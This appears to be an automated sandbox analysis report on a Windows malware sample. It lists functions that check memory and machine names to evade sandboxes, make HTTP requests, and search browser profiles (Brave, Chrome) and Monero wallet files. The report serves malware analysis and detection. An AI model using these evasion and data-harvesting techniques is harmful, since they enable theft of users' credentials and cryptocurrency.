Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 084cd1cc710ed6bf3a1e57903816a1c4be6800fd7823222c1f006a02ab53ad18
Instruction ID: adb397ce9c8a4a9ab787971c3e1979085703c18e8892a38caeaa3eac417e72f1
Opcode Fuzzy Hash: 084cd1cc710ed6bf3a1e57903816a1c4be6800fd7823222c1f006a02ab53ad18
Instruction Fuzzy Hash: 1A314178900108ABDB04F7F2DC56BEE7778BF04342F444629F902A21C1EF705589E7AA

Function 00C41220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00C4123E
__aulldiv.LIBCMT ref: 00C41258
__aulldiv.LIBCMT ref: 00C41266
ExitProcess.KERNEL32 ref: 00C41294

Strings

@, xrefs: 00C41233

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 7ea03a3726c173a4dc407aa9702d0fe952b54efb9cb1c22f6aa0c7e3df80d758
Instruction ID: 296fecb2b29c3a9ef121fe8413ec7c1b57bd44f2bcb8d73ce77c1a2ce9071f8b
Opcode Fuzzy Hash: 7ea03a3726c173a4dc407aa9702d0fe952b54efb9cb1c22f6aa0c7e3df80d758
Instruction Fuzzy Hash: F20162B0D44308BAEB20DBD0CC49B9EB778BB04701F248055EB05F61C0D7B456859759

Function 00C56AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,0089ADD8,?,00C6110C,?,00000000,?,00C61110,?,00000000,00C60AEF), ref: 00C56ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00C56AE8
CloseHandle.KERNEL32(00000000), ref: 00C56AF9
Sleep.KERNEL32(00001770), ref: 00C56B04
CloseHandle.KERNEL32(?,00000000,?,0089ADD8,?,00C6110C,?,00000000,?,00C61110,?,00000000,00C60AEF), ref: 00C56B1A
ExitProcess.KERNEL32 ref: 00C56B22

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 5314d6ff2c53516981a26510052eccd5fdcdb95a04286dbd51443b0f80e971ba
Instruction ID: b579e1ca06b063cabb82cadd757059263e7ac4b3651b0b576100998a1fc0dc58
Opcode Fuzzy Hash: 5314d6ff2c53516981a26510052eccd5fdcdb95a04286dbd51443b0f80e971ba
Instruction Fuzzy Hash: 3CF03078940209AFF700ABA1DC0AB7D7674EB04702F544525FD17A2191DBB05588FA6E

Function 00C447B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00C44839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00C44849

Strings

<, xrefs: 00C447C9

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 97aa0f1818150a0ed6161408cfd828c22b38eccf9f2186646d63aa86a6400049
Instruction ID: ae3aa231373a6278180ce66502f990bf22cae901cdedbad40b6a8121e727a92d
Opcode Fuzzy Hash: 97aa0f1818150a0ed6161408cfd828c22b38eccf9f2186646d63aa86a6400049
Instruction Fuzzy Hash: 6C216FB1D00208ABDF10DFA5E845ADE7B74FB04320F108626F919B72C0EB706A09DF81

Function 00C551F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C5A7E6

Part of subcall function 00C46280: InternetOpenA.WININET(00C60DFE,00000001,00000000,00000000,00000000), ref: 00C462E1
Part of subcall function 00C46280: StrCmpCA.SHLWAPI(?,008A0610), ref: 00C46303
Part of subcall function 00C46280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00C46335
Part of subcall function 00C46280: HttpOpenRequestA.WININET(00000000,GET,?,0089FCA0,00000000,00000000,00400100,00000000), ref: 00C46385
Part of subcall function 00C46280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00C463BF
Part of subcall function 00C46280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00C463D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00C55228

Strings

ERROR, xrefs: 00C55273
ERROR, xrefs: 00C5521A

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 9270f8f20c372ad04521bfd356df4e23e2ac72a66aa8e20ea12a93de67dfdf34
Instruction ID: e596a07a20c4cd3729ef4514ce99053ccfadf845086e19ab8bd8f3d1932d3bdf
Opcode Fuzzy Hash: 9270f8f20c372ad04521bfd356df4e23e2ac72a66aa8e20ea12a93de67dfdf34
Instruction Fuzzy Hash: 8B113334900008ABCB14FF62DD52AED7738BF50341F444264FC1A56192EF306B8DEB95

Function 00C41110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00C4112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00C41132
ExitProcess.KERNEL32 ref: 00C41143

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: ac56f1841f9e525ed6e708c2f09461959a7a1f723b82e66cd82ae67ba30bb342
Instruction ID: 9e2b75cd9e5fd43ec0dc1c00be87748fed2fc9ddc3f0a961559cfcd924b9e213
Opcode Fuzzy Hash: ac56f1841f9e525ed6e708c2f09461959a7a1f723b82e66cd82ae67ba30bb342
Instruction Fuzzy Hash: 38E0E670985308FFF714ABA19C0EB0D76B8AB04B41F144056FB0D761D0D6B52644979A

Function 00C410A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00C410B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00C410F7

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: c8bfc6c30166460fa2881cb69fea99287c3d6189f7232bd6931a507546842ad5
Instruction ID: 61a0d72c584ef74b2274edae986f4c8fd7fab98e5e9992bf1e5c2833a577000d
Opcode Fuzzy Hash: c8bfc6c30166460fa2881cb69fea99287c3d6189f7232bd6931a507546842ad5
Instruction Fuzzy Hash: 89F0E271641208BBE7149AA4AC49FAAB7E8E705B15F300459F944E3280D5729F44DBA4

Function 00C41190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00C578E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C57910
Part of subcall function 00C578E0: RtlAllocateHeap.NTDLL(00000000), ref: 00C57917
Part of subcall function 00C578E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00C5792F

Part of subcall function 00C57850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00C411B7), ref: 00C57880
Part of subcall function 00C57850: RtlAllocateHeap.NTDLL(00000000), ref: 00C57887
Part of subcall function 00C57850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00C5789F

ExitProcess.KERNEL32 ref: 00C411C6

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 4b880e47d243f69f8722f295ad0f5e3a051ddefa4482f382514ac5635f0b0498
Instruction ID: 79359c8a7aa613dc2d0c4eb729363e43854402d7c6746f318cb321f706e03c3e
Opcode Fuzzy Hash: 4b880e47d243f69f8722f295ad0f5e3a051ddefa4482f382514ac5635f0b0498
Instruction Fuzzy Hash: 3EE0E6B991420157DA0073B17C06B1A325C5714346F080525BE09B2142FD15E58CA66D

Non-executed Functions

Function 00C538B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00C538CC
FindFirstFileA.KERNEL32(?,?), ref: 00C538E3
lstrcat.KERNEL32(?,?), ref: 00C53935
StrCmpCA.SHLWAPI(?,00C60F70), ref: 00C53947
StrCmpCA.SHLWAPI(?,00C60F74), ref: 00C5395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00C53C67
FindClose.KERNEL32(000000FF), ref: 00C53C7C

Strings

%s\%s\%s, xrefs: 00C53A4A
%s%s, xrefs: 00C53AAD
%s\%s, xrefs: 00C53A6F
%s\%s, xrefs: 00C5397A
%s\*, xrefs: 00C538C0

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 9085603c69b99c42a8ed88b90576e4a4e272ca06336a7b50248e0d445740ac9e
Instruction ID: f07b6b4bab620d3e8a16db4ca75c4cfdb080d21508b9ed0662fb82a9b31e8851
Opcode Fuzzy Hash: 9085603c69b99c42a8ed88b90576e4a4e272ca06336a7b50248e0d445740ac9e
Instruction Fuzzy Hash: 4DA171B5A002089FDB34DFA5DC85FEA7378BB48301F084599B91DA6141EB759BC8CF62

Function 00C4BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Part of subcall function 00C5A920: lstrcpy.KERNEL32(00000000,?), ref: 00C5A972
Part of subcall function 00C5A920: lstrcat.KERNEL32(00000000), ref: 00C5A982

Part of subcall function 00C5A9B0: lstrlen.KERNEL32(?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C5A9C5
Part of subcall function 00C5A9B0: lstrcpy.KERNEL32(00000000), ref: 00C5AA04
Part of subcall function 00C5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C5AA12

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

FindFirstFileA.KERNEL32(00000000,?,00C60B32,00C60B2B,00000000,?,?,?,00C613F4,00C60B2A), ref: 00C4BEF5
StrCmpCA.SHLWAPI(?,00C613F8), ref: 00C4BF4D
StrCmpCA.SHLWAPI(?,00C613FC), ref: 00C4BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00C4C7BF
FindClose.KERNEL32(000000FF), ref: 00C4C7D1

Strings

\Brave\Preferences, xrefs: 00C4C1DB
Brave, xrefs: 00C4C102
Google Chrome, xrefs: 00C4C634
Preferences, xrefs: 00C4C11E

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 088cb3030dd25adfa84a32ccbfd30b2b173b1ac8547e5a5b5c467859b20de548
Instruction ID: 973c86819cef344d90b5dbc4b533802e8af60a047b3f9e122b4163cbc3e8c0fb
Opcode Fuzzy Hash: 088cb3030dd25adfa84a32ccbfd30b2b173b1ac8547e5a5b5c467859b20de548
Instruction Fuzzy Hash: EB4252769101089BDB14FB71DD96EED733CAF84301F404668FD0AA6091EE349B8DDBA6

Function 00C54910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00C5492C
FindFirstFileA.KERNEL32(?,?), ref: 00C54943
StrCmpCA.SHLWAPI(?,00C60FDC), ref: 00C54971
StrCmpCA.SHLWAPI(?,00C60FE0), ref: 00C54987
FindNextFileA.KERNEL32(000000FF,?), ref: 00C54B7D
FindClose.KERNEL32(000000FF), ref: 00C54B92

Strings

%s\%s, xrefs: 00C549FB
%s\*, xrefs: 00C54920
%s\%s, xrefs: 00C549A4

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
